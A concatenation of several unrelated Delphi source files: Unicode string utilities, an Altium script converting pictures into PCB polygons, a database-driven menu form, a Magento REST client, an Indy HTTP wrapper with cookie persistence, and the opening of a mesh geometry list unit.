Result := UTF8Encode(WideUpperCase(UTF8Decode(S)));
end;
{ SysUtils.pas }
function WideLastChar(const S: WideString): PWideChar;
begin
if S = '' then
Result := nil
else
Result := @S[Length(S)];
end;
//----------------------------------------------------------
// Wide version of SysUtils.AnsiQuotedStr
function WideQuotedStr(const S: WideString; Quote: WideChar): WideString;
var
P, Src, Dest: PWideChar;
AddCount: Integer;
begin
AddCount := 0;
P := WStrScan(PWideChar(S), Quote);
while P <> nil do
begin
Inc(P);
Inc(AddCount);
P := WStrScan(P, Quote);
end;
if AddCount = 0 then
begin
Result := Quote + S + Quote;
Exit;
end;
SetLength(Result, Length(S) + AddCount + 2);
Dest := Pointer(Result);
Dest^ := Quote;
Inc(Dest);
Src := Pointer(S);
P := WStrScan(Src, Quote);
repeat
Inc(P);
Move(Src^, Dest^, (P - Src) * SizeOf(WideChar));
Inc(Dest, P - Src);
Dest^ := Quote;
Inc(Dest);
Src := P;
P := WStrScan(Src, Quote);
until P = nil;
P := WStrEnd(Src);
Move(Src^, Dest^, (P - Src) * SizeOf(WideChar));
Inc(Dest, P - Src);
Dest^ := Quote;
end;
//----------------------------------------------------------
// Wide version of SysUtils.AnsiExtractQuotedStr
function WideExtractQuotedStr(var Src: PWideChar; Quote: WideChar): Widestring;
var
P, Dest: PWideChar;
DropCount: Integer;
begin
Result := '';
if (Src = nil) or (Src^ <> Quote) then Exit;
Inc(Src);
DropCount := 1;
P := Src;
Src := WStrScan(Src, Quote);
while Src <> nil do // count adjacent pairs of quote chars
begin
Inc(Src);
if Src^ <> Quote then Break;
Inc(Src);
Inc(DropCount);
Src := WStrScan(Src, Quote);
end;
if Src = nil then Src := WStrEnd(P);
if ((Src - P) <= 1) or ((Src - P - DropCount) = 0) then Exit;
if DropCount = 1 then
SetString(Result, P, Src - P - 1)
else
begin
SetLength(Result, Src - P - DropCount);
Dest := PWideChar(Result);
Src := WStrScan(P, Quote);
while Src <> nil do
begin
Inc(Src);
if Src^ <> Quote then Break;
Move(P^, Dest^, (Src - P) * SizeOf(WideChar));
Inc(Dest, Src - P);
Inc(Src);
P := Src;
Src := WStrScan(Src, Quote);
end;
if Src = nil then Src := WStrEnd(P);
Move(P^, Dest^, (Src - P - 1) * SizeOf(WideChar));
end;
end;
//----------------------------------------------------------
// Wide version of SysUtils.AnsiDequotedStr
function WideDequotedStr(const S: WideString; AQuote: WideChar): WideString;
var
LText: PWideChar;
begin
LText := PWideChar(S);
Result := WideExtractQuotedStr(LText, AQuote);
if Result = '' then
Result := S;
end;
//----------------------------------------------------------
// Wide version of SysUtils.AdjustLineBreaks
function WideAdjustLineBreaks(const S: WideString; Style: TTextLineBreakStyle = tlbsCRLF ): WideString;
var
Source, SourceEnd, Dest: PWideChar;
DestLen: Integer;
begin
Source := Pointer(S);
SourceEnd := Source + Length(S);
DestLen := Length(S);
while Source < SourceEnd do
begin
case Source^ of
#10:
if Style = tlbsCRLF then
Inc(DestLen);
#13:
if Style = tlbsCRLF then
if Source[1] = #10 then
Inc(Source)
else
Inc(DestLen)
else
if Source[1] = #10 then
Dec(DestLen);
end;
Inc(Source);
end;
if DestLen = Length(Source) then
Result := S
else
begin
Source := Pointer(S);
SetString(Result, nil, DestLen);
Dest := Pointer(Result);
while Source < SourceEnd do
case Source^ of
#10:
begin
if Style = tlbsCRLF then
begin
Dest^ := #13;
Inc(Dest);
end;
Dest^ := #10;
Inc(Dest);
Inc(Source);
end;
#13:
begin
if Style = tlbsCRLF then
begin
Dest^ := #13;
Inc(Dest);
end;
Dest^ := #10;
Inc(Dest);
Inc(Source);
if Source^ = #10 then Inc(Source);
end;
else
Dest^ := Source^;
Inc(Dest);
Inc(Source);
end;
end;
end;
//----------------------------------------------------------
// Wide version of SysUtils.StringReplace
function WideStringReplace(const S, OldPattern, NewPattern: Widestring;
const Flags: TReplaceFlags): Widestring;
var
SearchStr, Patt, NewStr: Widestring;
Offset: Integer;
begin
if rfIgnoreCase in Flags then
begin
SearchStr := WideUpperCase(S);
Patt := WideUpperCase(OldPattern);
end else
begin
SearchStr := S;
Patt := OldPattern;
end;
NewStr := S;
Result := '';
while SearchStr <> '' do
begin
Offset := Pos(Patt, SearchStr);
if Offset = 0 then
begin
Result := Result + NewStr;
Break;
end;
Result := Result + Copy(NewStr, 1, Offset - 1) + NewPattern;
NewStr := Copy(NewStr, Offset + Length(OldPattern), MaxInt);
if not (rfReplaceAll in Flags) then
begin
Result := Result + NewStr;
Break;
end;
SearchStr := Copy(SearchStr, Offset + Length(Patt), MaxInt);
end;
end;
//----------------------------------------------------------
// Wide version of StrUtils.AnsiReplaceStr
function WideReplaceStr(const AText, AFromText, AToText: WideString): WideString;
begin
Result := WideStringReplace(AText, AFromText, AToText, [rfReplaceAll]);
end;
//----------------------------------------------------------
// Wide version of StrUtils.AnsiReplaceStr
function WideReplaceText(const AText, AFromText, AToText: WideString): WideString;
begin
Result := WideStringReplace(AText, AFromText, AToText, [rfReplaceAll, rfIgnoreCase]);
end;
//----------------------------------------------------------
function InOpSet(W: WideChar; const Sets: CharSet): Boolean;
begin
if W <= #$00FF then
Result := AnsiChar(W) in Sets
else
Result := False;
end;
{ Support (<WideChar> in [ <WideChar>,.... ]) block }
function InOpArray(W: WideChar; const Sets: array of WideChar): Boolean;
var
I: Integer;
begin
Result := True;
for I := 0 to High(Sets) do
if W = Sets[I] then
Exit;
Result := False;
end;
//----------------------------------------------------------
function IsUTF8LeadByte(Lead: AnsiChar): boolean;
begin
Result := (Byte(Lead) <= $7F) or (($C2 <= Byte(Lead)) and (Byte(Lead) <= $FD));
end;
function IsUTF8TrailByte(Lead: AnsiChar): Boolean;
begin
Result := ($80 <= Byte(Lead)) and (Byte(Lead) <= $BF);
end;
function UTF8CharSize(Lead: AnsiChar): Integer;
begin
case Lead of
#$00..#$7F: Result := 1; //
#$C2..#$DF: Result := 2; // 110x xxxx C0 - DF
#$E0..#$EF: Result := 3; // 1110 xxxx E0 - EF
#$F0..#$F7: Result := 4; // 1111 0xxx F0 - F7 // outside traditional UNICODE
#$F8..#$FB: Result := 5; // 1111 10xx F8 - FB // outside UTF-16
#$FC..#$FD: Result := 6; // 1111 110x FC - FD // outside UTF-16
else
Result := 0; // Illegal leading character.
end;
end;
function UTF8CharLength(Lead: AnsiChar): Integer; inline;
begin
Result := 1;
if (Lead >= #$C2) and (Lead <= #$FD) then
Result := UTF8CharSize(Lead);
end;
end.
|
Var
FDoFlipH : Boolean;
FDoFlipV : Boolean;
FNegative : Boolean;
{......................................................................................................................}
Procedure SetState_DoFlipH(Value : Boolean);
Begin
FDoFlipH := Value;
End;
{......................................................................................................................}
{......................................................................................................................}
Procedure SetState_Negative(Value : Boolean);
Begin
FNegative := Value;
End;
{......................................................................................................................}
{......................................................................................................................}
Procedure SetState_DoFlipV(Value : Boolean);
Begin
FDoFlipV := Value;
End;
{......................................................................................................................}
{......................................................................................................................}
Procedure FlipCoords(aPicture : TPicture; InX, InY : TCoord; Var OutX, OutY : TCoord);
Begin
If FDoFlipH Then
OutX := aPicture.Width - InX - 1
Else
OutX := InX;
If FDoFlipV Then
OutY := InY
Else
OutY := aPicture.Height - InY - 1;
End;
{......................................................................................................................}
{......................................................................................................................}
Function CreateContourFromPixel(X, Y, BaseX, BaseY, PixelToCoordScale : TCoord; Color : TColor) : IPCB_Contour;
Var
GrayProportion : Double;
GrayWidth : TCoord;
Left : TCoord;
Right : TCoord;
Bottom : TCoord;
Top : TCoord;
RedProportion : Integer;
GreenProportion : Integer;
BlueProportion : Integer;
Begin
RedProportion := (Color And $0000FF);
GreenProportion := (Color And $00FF00) Shr 8;
BlueProportion := (Color And $FF0000) Shr 16;
GrayProportion := (RedProportion + GreenProportion + BlueProportion) / (3 * 255);
If FNegative Then
GrayProportion := 1 - GrayProportion;
GrayWidth := Round((1 - sqrt(GrayProportion)) * PixelToCoordScale / 2);
Left := X * PixelToCoordScale + BaseX + GrayWidth;
Right := (X + 1) * PixelToCoordScale + BaseX - GrayWidth;
Bottom := Y * PixelToCoordScale + BaseY + GrayWidth;
Top := (Y + 1) * PixelToCoordScale + BaseY - GrayWidth;
If GrayProportion = 0.0 Then Exit;
Result := PCBServer.PCBContourFactory;
Result.AddPoint(Left , Bottom);
Result.AddPoint(Right, Bottom);
Result.AddPoint(Right, Top );
Result.AddPoint(Left , Top );
End;
{......................................................................................................................}
{......................................................................................................................}
Procedure AddPixelToUnion(X, Y, BaseX, BaseY, PixelToCoordScale : TCoord; Color : TColor; Var Union : IPCB_Contour);
Var
PixelContour : IPCB_Contour;
Begin
PixelContour := CreateContourFromPixel(X, Y, BaseX, BaseY, PixelToCoordScale, Color);
If PixelContour <> Nil Then
PCBServer.PCBContourUtilities.ClipSetContour(eSetOperation_Union, Union, PixelContour, Union);
End;
{......................................................................................................................}
{......................................................................................................................}
Function ConstructGeometricPolygonFromPicture_NoUnion(aImage : TImage; ProgressBar : TProgressBar; StatusBar : TStatusBar) : IPCB_GeometricPolygon;
Var
X, Y : Integer;
tX, tY : Integer;
PixelContour : IPCB_Contour;
Begin
If ProgressBar <> Nil Then
ProgressBar.Max := aImage.Picture.Height;
If StatusBar <> Nil Then
Begin
StatusBar.SimpleText := 'Converting Pixels To Contours...';
StatusBar.Update;
End;
Result := PcbServer.PCBGeometricPolygonFactory;
For Y := 0 To aImage.Picture.Height - 1 Do
Begin
If ProgressBar <> Nil Then
Begin
ProgressBar.Position := Y;
ProgressBar.Update;
End;
For X := 0 To aImage.Picture.Width - 1 Do
Begin
FlipCoords(aImage.Picture, X, Y, tX, tY);
PixelContour := CreateContourFromPixel(X, Y, FBaseX, FBaseY, FPixelSize, aImage.Canvas.Pixels[X, Y]);
If PixelContour <> Nil Then
Result.AddContour(PixelContour);
End;
End;
End;
{......................................................................................................................}
{......................................................................................................................}
Function ConstructGeometricPolygonFromPicture_Union(aImage : TImage; ProgressBar : TProgressBar; StatusBar : TStatusBar) : IPCB_GeometricPolygon;
Var
X, Y : Integer;
tX, tY : Integer;
Begin
If ProgressBar <> Nil Then
ProgressBar.Max := aImage.Picture.Height;
If StatusBar <> Nil Then
Begin
StatusBar.SimpleText := 'Converting Pixels To Contours...';
StatusBar.Update;
End;
Result := PcbServer.PCBGeometricPolygonFactory;
For Y := 0 To aImage.Picture.Height Do
Begin
If ProgressBar <> Nil Then
Begin
ProgressBar.Position := Y;
ProgressBar.Update;
End;
For X := 0 To aImage.Picture.Width Do
Begin
FlipCoords(aImage.Picture, X, Y, tX, tY);
AddPixelToUnion(tX, tY, FBaseX, FBaseY, FPixelSize, aImage.Canvas.Pixels[X, Y], Result);
End;
End;
End;
{......................................................................................................................}
{......................................................................................................................}
Function ConstructGeometricPolygonFromPicture_UnionOptimized1(aImage : TImage; ProgressBar : TProgressBar; StatusBar : TStatusBar) : IPCB_GeometricPolygon;
Var
X, Y : Integer;
tX, tY : Integer;
UnionGeometricPolygon : IPCB_GeometricPolygon;
RowUnionGeometricPolygon : IPCB_GeometricPolygon;
Begin
If ProgressBar <> Nil Then
ProgressBar.Max := aImage.Picture.Height;
If StatusBar <> Nil Then
Begin
StatusBar1.SimpleText := ' Converting Pixels To Contours...';
StatusBar1.Update;
End;
UnionGeometricPolygon := PcbServer.PCBGeometricPolygonFactory;
For Y := 0 To aImage.Picture.Height Do
Begin
If ProgressBar <> Nil Then
Begin
ProgressBar1.Position := Y;
ProgressBar1.Update;
End;
RowUnionGeometricPolygon := PcbServer.PCBGeometricPolygonFactory;
For X := 0 To aImage.Picture.Width Do
Begin
FlipCoords(aImage.Picture, X, Y, tX, tY);
AddPixelToUnion(tX, tY, FBaseX, FBaseY, FPixelSize, aImage.Canvas.Pixels[X, Y], RowUnionGeometricPolygon);
End;
PCBServer.PCBContourUtilities.ClipSetSet(eSetOperation_Union, UnionGeometricPolygon, RowUnionGeometricPolygon, UnionGeometricPolygon);
End;
Result := UnionGeometricPolygon;
End;
{......................................................................................................................}
{......................................................................................................................}
Function ConstructGeometricPolygonFromPicture_UnionOptimized2(aImage : TImage; ProgressBar : TProgressBar; StatusBar : TStatusBar) : IPCB_GeometricPolygon;
Var
I, J, K : Integer;
X, Y : Integer;
tX, tY : Integer;
TempGeometricPolygon : IPCB_GeometricPolygon;
PixelContour : IPCB_Contour;
Begin
If ProgressBar <> Nil Then
ProgressBar.Max := aImage.Picture.Height * 2;
Result := PcbServer.PCBGeometricPolygonFactory;
For K := 0 To 3 Do
Begin
TempGeometricPolygon := PcbServer.PCBGeometricPolygonFactory;
If StatusBar <> Nil Then
Begin
StatusBar.SimpleText := ' Converting Pixels To Contours...';
StatusBar.Update;
End;
For J := 0 To aImage.Picture.Height Div 2 Do
Begin
If ProgressBar <> Nil Then
Begin
ProgressBar.Position := ProgressBar.Position + 1;
ProgressBar.Update;
End;
For I := 0 To aImage.Picture.Width Div 2 Do
Begin
X := I * 2 + K Mod 2;
Y := J * 2 + K Div 2;
FlipCoords(aImage.Picture, X, Y, tX, tY);
If (X < aImage.Picture.Width) And (Y < aImage.Picture.Height) Then
Begin
PixelContour := CreateContourFromPixel(tX, tY, FBaseX, FBaseY, FPixelSize, aImage.Canvas.Pixels[X, Y]);
TempGeometricPolygon.AddContour(PixelContour);
End;
End;
End;
If StatusBar <> Nil Then
Begin
StatusBar.SimpleText := ' Creating Union...';
StatusBar.Update;
End;
PCBServer.PCBContourUtilities.ClipSetSet(eSetOperation_Union, TempGeometricPolygon, Result, Result);
End;
End;
{......................................................................................................................}
|
unit UTelaMenu;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, Menus,DB;
type
TMenuClasse = class (TMenuItem)
private
public
caminhoDiretorio:string;//caso o clique for na imagem e passado o diretorio do album.
end;
type
TFTelaMenu = class(TForm)
DataSource1: TDataSource;
procedure FormCreate(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
private
{ Private declarations }
public
{ Public declarations }
procedure AdicionarGuiaMenu(pMenuPrincipal: TMainMenu; pCaptionItem: string);
procedure AdicionarItem(pMenuPrincipal: TMainMenu; pPosHoriz: Byte; pCaptionItem: string);
{procedure AdicionarSubItem(pMenuPrincipal: TMainMenu; pPosHoriz, pPosVert: Byte;
pCaptionSubItem: string);}
procedure criarMenu;
procedure listaTela;
procedure codigoNome;
procedure clique(Sender: TObject);
//procedure cores;
function Remove(str: string):string;
procedure salvarPrograma;
end;
var
FTelaMenu: TFTelaMenu;
listaNome: TStringList;
listaLabel: TStringList;
nome:string;
implementation
uses DAO, UPadrao, DateUtils,UPrincipal;
{$R *.dfm}
procedure TFTelaMenu.AdicionarGuiaMenu(pMenuPrincipal: TMainMenu;
pCaptionItem: string);
var
NovoItem: TMenuItem;
begin
NovoItem:= TMenuClasse.Create(self);
NovoItem.Caption:= pCaptionItem;
pMenuPrincipal.Items.Add(NovoItem);
end;
procedure TFTelaMenu.AdicionarItem(pMenuPrincipal: TMainMenu;
pPosHoriz: Byte; pCaptionItem: string);
var
NovoItem: TMenuClasse;
i: Integer;
begin
NovoItem:= TMenuClasse.Create(Self);
NovoItem.Caption:= pCaptionItem;
for i := 0 to pred(listaNome.Count) do
begin
NovoItem.caminhoDiretorio := listaNome.Strings[i];
end;
NovoItem.OnClick:= clique;
pMenuPrincipal.Items[pPosHoriz].Add(NovoItem);
end;
{
procedure TFTelaMenu.AdicionarSubItem(pMenuPrincipal: TMainMenu; pPosHoriz,
pPosVert: Byte; pCaptionSubItem: string);
var
NovoSubItem: TMenuItem;
begin
NovoSubItem:= TMenuItem.Create(Self);
NovoSubItem.Caption:= pCaptionSubItem;
NovoSubItem.OnClick := clique;
pMenuPrincipal.Items[pPosHoriz].Items[pPosVert].Add(NovoSubItem);
end;
}
procedure TFTelaMenu.clique(Sender:TObject);
var
pc: TPersistentClass;
tela:String;
begin
tela := TMenuClasse(Sender).Caption;
tela := Remove(tela);
pc := GetClass('TF' + trim(tela)); //capiturar o nome da tela do banco de dados
if (pc <> nil) then
begin
with tFormClass(pc).Create(Application) do
try
Name := tela;
Caption := tela;
ShowModal;
finally
Free;
tFormClass(pc) := nil;
end;
end;
end;
procedure TFTelaMenu.criarMenu;
var
main : TMainMenu;
i : Integer;
begin
main := TMainMenu.Create(self);
dm.MUsuario.Close;
dm.MUsuario.Open;
dm.MInterface.Close;
dm.MInterface.Open;
dm.MAmbiente.Close;
dm.MAmbiente.Open;
dm.MGarcon.Close;
dm.MGarcon.Open;
dm.MItem.Close;
dm.MItem.Open;
dm.MCategoria.Close;
dm.MCategoria.Open;
listaTela;
if dm.MUsuarionome.AsString = 'Administrador' then
begin
AdicionarGuiaMenu(main,'Gerenciar');
for i := 0 to pred(listaLabel.Count) do
begin
AdicionarItem(main,0,listaLabel.Strings[i]);
end;
end
else
begin
AdicionarGuiaMenu(main,'Acessar');
begin
for i := 0 to pred(listaLabel.Count) do
AdicionarItem(main,0,listaLabel.Strings[i]);
end;
end;
end;
procedure TFTelaMenu.FormCreate(Sender: TObject);
begin
criarMenu;
codigoNome;
end;
procedure TFTelaMenu.listaTela;
var
i: Integer;
begin
listaNome := TStringList.Create;
listaLabel := TStringList.Create;
dm.QAux.Close;
dm.QAux.SQL.Text := 'SELECT i.nome as nome,i.label as Label FROM Interface i, Usuario_Interface ui, Usuario u WHERE i.idInterface = ui.idInterface and ui.idUsuario =:id group by i.nome,i.label';
dm.QAux.ParamByName('id').AsInteger := dm.MUsuarioidUsuario.AsInteger;
dm.QAux.Open;
for i := 0 to pred(dm.QAux.RecordCount) do
begin
listaNome.Add(dm.QAux.fieldbyname('nome').AsString);
listaLabel.Add(dm.QAux.fieldbyname('label').AsString);
dm.QAux.Next;
end;
end;
function TFTelaMenu.Remove(str: string): string;
var
x: integer;
st: string;
begin
st:='';
for x:=1 to length(str) do
begin
if (str[x] <> '&') and
(str[x] <> '.') and
(str[x] <> ',') and
(str[x] <> '/') then
st:=st + str[x];
end;
Remove:=st;
end;
procedure TFTelaMenu.FormClose(Sender: TObject; var Action: TCloseAction);
begin
salvarPrograma;
end;
procedure TFTelaMenu.codigoNome;
begin
dm.MUsuario.Close;
dm.MUsuario.Open;
nome:= dm.MUsuariologin.AsString;
end;
procedure TFTelaMenu.salvarPrograma;
var
F: TextFile;
cLinha: string;
caminho: string;
begin
caminho := extractFilepath(application.exename);
AssignFile(F, caminho+'\'+'ultimo.txt');
cLinha := '';
// salvando o ultimo usuario no arquivo txt
if FileExists('ultimo.txt') then
begin
Rewrite(F);
Writeln(F,nome);
end;
Closefile(F);
end;
end.
|
unit MagentoHTTP_V1;
interface
uses
Magento.Interfaces, REST.Response.Adapter, Data.DB, Datasnap.DBClient, REST.Types, REST.Client,
Data.Bind.Components, Data.Bind.ObjectScope, System.JSON;
type
TMagentoAPI = class (TInterfacedObject, iMagentoHTTP_V1)
private
FBody : String;
FResult : String;
FStatus : Integer;
FField : String;
FValue : String;
FCondition_type : String;
FAndOr : Boolean;
FRestClient: TRESTClient;
FRestRequest: TRESTRequest;
FRestResponse: TRESTResponse;
procedure RestHTTP(URI : String; vMethod : TRESTRequestMethod);
public
constructor Create;
destructor Destroy; override;
class function New : iMagentoHTTP_V1;
function Get(Value : String) : iMagentoHTTP_V1;
function Post(Value, Body : String) : iMagentoHTTP_V1;
function Put(Value, Body : String) : iMagentoHTTP_V1;
function Delete(Value, Body : String) : iMagentoHTTP_V1;
function SearchCriteria : iMagentoSearchCriteria;
function Status : Integer;
end;
implementation
uses
System.SysUtils, ServerMagento.Model.Env;
{ TMagentoAPI }
constructor TMagentoAPI.Create;
begin
end;
function TMagentoAPI.Delete(Value, Body : String) : iMagentoHTTP_V1;
begin
Result := Self;
FBody := Body;
RestHTTP(Value, rmDELETE);
end;
destructor TMagentoAPI.Destroy;
begin
inherited;
end;
function TMagentoAPI.Get(Value: String): iMagentoHTTP_V1;
begin
Result := Self;
RestHTTP(Value, rmGET);
end;
class function TMagentoAPI.New: iMagentoHTTP_V1;
begin
end;
function TMagentoAPI.Post(Value, Body : String) : iMagentoHTTP_V1;
begin
Result := Self;
FBody := Body;
RestHTTP(Value, rmPOST);
end;
function TMagentoAPI.Put(Value, Body : String) : iMagentoHTTP_V1;
begin
Result := Self;
FBody := Body;
RestHTTP(Value, rmPUT);
end;
procedure TMagentoAPI.RestHTTP(URI : String; vMethod : TRESTRequestMethod);
begin
try
FRestClient := TRESTClient.Create(URI);
FRestClient.Accept := 'application/json, text/plain; q=0.9, text/html;q=0.8,';
FRestClient.AcceptCharset := 'UTF-8, *;q=0.8';
FRestClient.AcceptEncoding := '';
FRestClient.AutoCreateParams := true;
FRestClient.AllowCookies := True;
FRestClient.BaseURL := URI;
FRestClient.ContentType := '';
FRestClient.FallbackCharsetEncoding := 'utf-8';
FRestClient.HandleRedirects := True;
FRestResponse := TRESTResponse.Create(FRestClient);
FRestResponse.ContentType := 'application/json';
FRestRequest := TRESTRequest.Create(FRestClient);
FRestRequest.Accept := 'application/json, text/plain; q=0.9, text/html;q=0.8,';
FRestRequest.AcceptCharset := 'UTF-8, *;q=0.8';
FRestRequest.AcceptEncoding := '';
FRestRequest.AutoCreateParams := true;
FRestRequest.Client := FRestClient;
FRestRequest.Method := vMethod;
FRestRequest.SynchronizedEvents := False;
FRestRequest.Response := FRestResponse;
FRestRequest.Params.Add;
FRestRequest.Params[0].ContentType := ctNone;
FRestRequest.Params[0].Kind := pkHTTPHEADER;
FRestRequest.Params[0].Name := 'Authorization';
FRestRequest.Params[0].Value := 'Bearer ' + ACCES_TOKEN;
FRestRequest.Params[0].Options := [poDoNotEncode];
if vMethod <> rmGET then
begin
FRestRequest.Params.Add;
FRestRequest.Params[1].ContentType := ctAPPLICATION_JSON;
FRestRequest.Params[1].Kind := pkREQUESTBODY;
FRestRequest.Params[1].Name := 'body';
FRestRequest.Params[1].Value := FBody;
FRestRequest.Params[1].Options := [poDoNotEncode];
FRestRequest.Execute;
end;
FStatus := FRestResponse.StatusCode;
FResult := FRestResponse.Content;
except
raise Exception.Create('Error');
end;
end;
function TMagentoAPI.SearchCriteria: iMagentoSearchCriteria;
begin
end;
function TMagentoAPI.Status: Integer;
begin
Result := FStatus;
end;
end.
|
unit API_HTTP;
interface
uses
IdCookieManager,
IdHTTP,
IdSSLOpenSSL,
System.Classes;
type
THTTPEvent = procedure(aIdCookieManager: TIdCookieManager) of object;
THTTP = class
private
FEnableCookies: Boolean;
FIdCookieManager: TIdCookieManager;
FIdHTTP: TIdHTTP;
FIdSSLIOHandlerSocketOpenSSL: TIdSSLIOHandlerSocketOpenSSL;
FOnAfterLoad: THTTPEvent;
FOnBeforeLoad: THTTPEvent;
FURL: string;
function GetPage(const aURL: string; aPostData: TStringList): string;
procedure FreeHTTP;
procedure InitHTTP;
public
function Get(const aURL: string): string;
function GetStream(const aURL: string): TMemoryStream;
function Post(const aURL: string; aPostData: TStringList): string;
procedure LoadCookies(const aPath: string);
procedure SaveCookies(const aPath: string);
procedure SetHeaders(aHeadersStr: string);
constructor Create(aEnabledCookies: Boolean = False);
destructor Destroy; override;
property IdHTTP: TIdHTTP read FIdHTTP;
property OnAfterLoad: THTTPEvent read FOnAfterLoad write FOnAfterLoad;
property OnBeforeLoad: THTTPEvent read FOnBeforeLoad write FOnBeforeLoad;
property URL: string read FURL;
end;
implementation
uses
API_Files,
API_Strings,
IdCookie,
System.JSON,
System.NetEncoding,
System.SysUtils;
function THTTP.GetStream(const aURL: string): TMemoryStream;
begin
Result := TMemoryStream.Create;
FIdHTTP.Get(aURL, Result);
Result.Position := 0;
end;
procedure THTTP.LoadCookies(const aPath: string);
var
Cookies: TIdCookieList;
i: Integer;
IdCookie: TIdCookie;
jsnCookie: TJSONObject;
jsnCookies: TJSONObject;
jsnCookiesArr: TJSONArray;
sCookies: string;
begin
if not TFilesEngine.IsFileExists(aPath) then
Exit;
sCookies := TFilesEngine.GetTextFromFile(aPath);
jsnCookies := TJSONObject.ParseJSONValue(sCookies) as TJSONObject;
try
jsnCookiesArr := jsnCookies.GetValue('Cookies') as TJSONArray;
Cookies := FIdCookieManager.CookieCollection.LockCookieList(caReadWrite);
for i := 0 to jsnCookiesArr.Count - 1 do
begin
jsnCookie := jsnCookiesArr.Items[i] as TJSONObject;
IdCookie := FIdCookieManager.CookieCollection.Add;
IdCookie.Domain := jsnCookie.GetValue('Domain').Value;
IdCookie.Expires := TJSONNumber(jsnCookie.GetValue('Expires')).AsDouble;
IdCookie.CookieName := jsnCookie.GetValue('Name').Value;
IdCookie.Path := jsnCookie.GetValue('Path').Value;
IdCookie.Value := jsnCookie.GetValue('Value').Value;
IdCookie.CreatedAt := TJSONNumber(jsnCookie.GetValue('CreatedAt')).AsDouble;
IdCookie.LastAccessed := TJSONNumber(jsnCookie.GetValue('LastAccessed')).AsDouble;
IdCookie.Secure := True;
IdCookie.HttpOnly := True;
Cookies.Add(IdCookie);
end;
FIdCookieManager.CookieCollection.UnlockCookieList(caReadWrite);
finally
jsnCookies.Free;
end;
end;
procedure THTTP.SaveCookies(const aPath: string);
var
i: Integer;
IdCookie: TIdCookie;
jsnCookie: TJSONObject;
jsnCookies: TJSONObject;
jsnCookiesArr: TJSONArray;
begin
jsnCookies := TJSONObject.Create;
try
jsnCookiesArr := TJSONArray.Create;
for i := 0 to FIdCookieManager.CookieCollection.Count - 1 do
begin
IdCookie := FIdCookieManager.CookieCollection.Cookies[i];
jsnCookie := TJSONObject.Create;
jsnCookie.AddPair(TJSONPair.Create('Domain', IdCookie.Domain));
jsnCookie.AddPair(TJSONPair.Create('Expires', TJSONNumber.Create(IdCookie.Expires)));
jsnCookie.AddPair(TJSONPair.Create('Name', IdCookie.CookieName));
jsnCookie.AddPair(TJSONPair.Create('Path', IdCookie.Path));
jsnCookie.AddPair(TJSONPair.Create('Value', IdCookie.Value));
jsnCookie.AddPair(TJSONPair.Create('CreatedAt', TJSONNumber.Create(IdCookie.CreatedAt)));
jsnCookie.AddPair(TJSONPair.Create('LastAccessed', TJSONNumber.Create(IdCookie.LastAccessed)));
jsnCookiesArr.AddElement(jsnCookie);
end;
jsnCookies.AddPair('Cookies', jsnCookiesArr);
TFilesEngine.SaveTextToFile(aPath, jsnCookies.ToJSON);
finally
jsnCookies.Free;
end;
end;
function THTTP.GetPage(const aURL: string; aPostData: TStringList): string;
var
URL: string;
begin
/////////////////// Fiddler ////////////////////////////////////////////////
//FIdHTTP.ProxyParams.ProxyServer := '127.0.0.1';
//FIdHTTP.ProxyParams.ProxyPort := 8888;
//////////////////////////////////////////////////////////////////////////////
if Assigned(FOnBeforeLoad) then
FOnBeforeLoad(FIdHTTP.CookieManager);
URL := TNetEncoding.URL.Encode(aURL, [], [TURLEncoding.TEncodeOption.SpacesAsPlus, TURLEncoding.TEncodeOption.EncodePercent]);
if Assigned(aPostData) then
Result := FIdHTTP.Post(URL, aPostData)
else
Result := FIdHTTP.Get(URL);
FURL := FIdHTTP.URL.URI;
if Assigned(FOnAfterLoad) then
FOnAfterLoad(FIdHTTP.CookieManager);
end;
procedure THTTP.SetHeaders(aHeadersStr: string);
var
Header: string;
HeadersArr: TArray<string>;
Name: string;
Value: string;
begin
FIdHTTP.Request.CustomHeaders.Clear;
HeadersArr := aHeadersStr.Split([';']);
for Header in HeadersArr do
begin
Name := TStrTool.ExtractKey(Header);
Value := TStrTool.ExtractValue(Header);
FIdHTTP.Request.CustomHeaders.AddValue(Name, Value);
end;
end;
function THTTP.Post(const aURL: string; aPostData: TStringList): string;
begin
Result := GetPage(aURL, aPostData);
end;
procedure THTTP.FreeHTTP;
begin
if Assigned(FIdHTTP) then
FreeAndNil(FIdHTTP);
if Assigned(FIdSSLIOHandlerSocketOpenSSL) then
FreeAndNil(FIdSSLIOHandlerSocketOpenSSL);
if Assigned(FIdCookieManager) then
FreeAndNil(FIdCookieManager);
end;
function THTTP.Get(const aURL: string): string;
begin
Result := GetPage(aURL, nil);
end;
destructor THTTP.Destroy;
begin
FreeHTTP;
inherited;
end;
procedure THTTP.InitHTTP;
begin
FreeHTTP;
FIdHTTP := TIdHTTP.Create;
FIdHTTP.HandleRedirects := True;
FIdHTTP.Request.UserAgent := 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36';
FIdHTTP.Request.Connection := 'keep-alive';
FIdHTTP.Request.Accept := 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8';
FIdHTTP.Request.AcceptLanguage := 'ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7,be;q=0.6';
FIdSSLIOHandlerSocketOpenSSL := TIdSSLIOHandlerSocketOpenSSL.Create;
FIdHTTP.IOHandler := FIdSSLIOHandlerSocketOpenSSL;
if FEnableCookies then
begin
FIdHTTP.AllowCookies := True;
FIdCookieManager := TIdCookieManager.Create(nil);
FIdHTTP.CookieManager := FIdCookieManager;
end
else
FIdHTTP.AllowCookies := False;
end;
constructor THTTP.Create(aEnabledCookies: Boolean = False);
begin
FEnableCookies := aEnabledCookies;
InitHTTP;
end;
end.
|
unit MeshGeometryList;
interface
uses BasicDataTypes, MeshGeometryBase;
type
CMeshGeometryList = class
private
Start,Last,Active : PMeshGeometryBase;
FCount: integer;
procedure Reset;
function GetActive: PMeshGeometryBase;
public
// Constructors and Destructors
constructor Create;
destructor Destroy; override;
// I/O
procedure LoadState(_State: PMeshGeometryBase);
function SaveState:PMeshGeometryBase;
// Add
procedure Add; overload;
procedure Add(_type: integer); overload;
procedure Delete;
// Delete
procedure Clear;
// Misc
procedure GoToFirstElement;
procedure GoToNextElement;
// Properties
property Count: integer read FCount;
property Current: PMeshGeometryBase read GetActive;
end;
implementation
uses MeshBRepGeometry, GlConstants;
